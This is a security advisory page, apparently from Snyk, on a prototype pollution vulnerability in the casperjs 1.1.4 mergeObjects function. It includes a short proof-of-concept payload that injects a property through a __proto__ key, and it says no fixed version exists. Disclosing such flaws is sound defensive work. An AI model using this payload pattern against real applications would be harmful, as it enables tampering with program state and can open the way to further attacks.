casperjs@1.1.4 vulnerabilities

A navigation scripting & testing utility for PhantomJS and SlimerJS

Direct Vulnerabilities

Known vulnerabilities in the casperjs package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Prototype Pollution

casperjs is a navigation scripting & testing utility for PhantomJS and SlimerJS.

Affected versions of this package are vulnerable to Prototype Pollution. The mergeObjects utility function is susceptible to Prototype Pollution.

PoC by Snyk

var payload = JSON.parse('{"__proto__": {"a": "pwned"}}');
mergeObjects({}, payload);
console.log({}.a); // prints "pwned"

How to fix Prototype Pollution?

There is no fixed version for casperjs.

*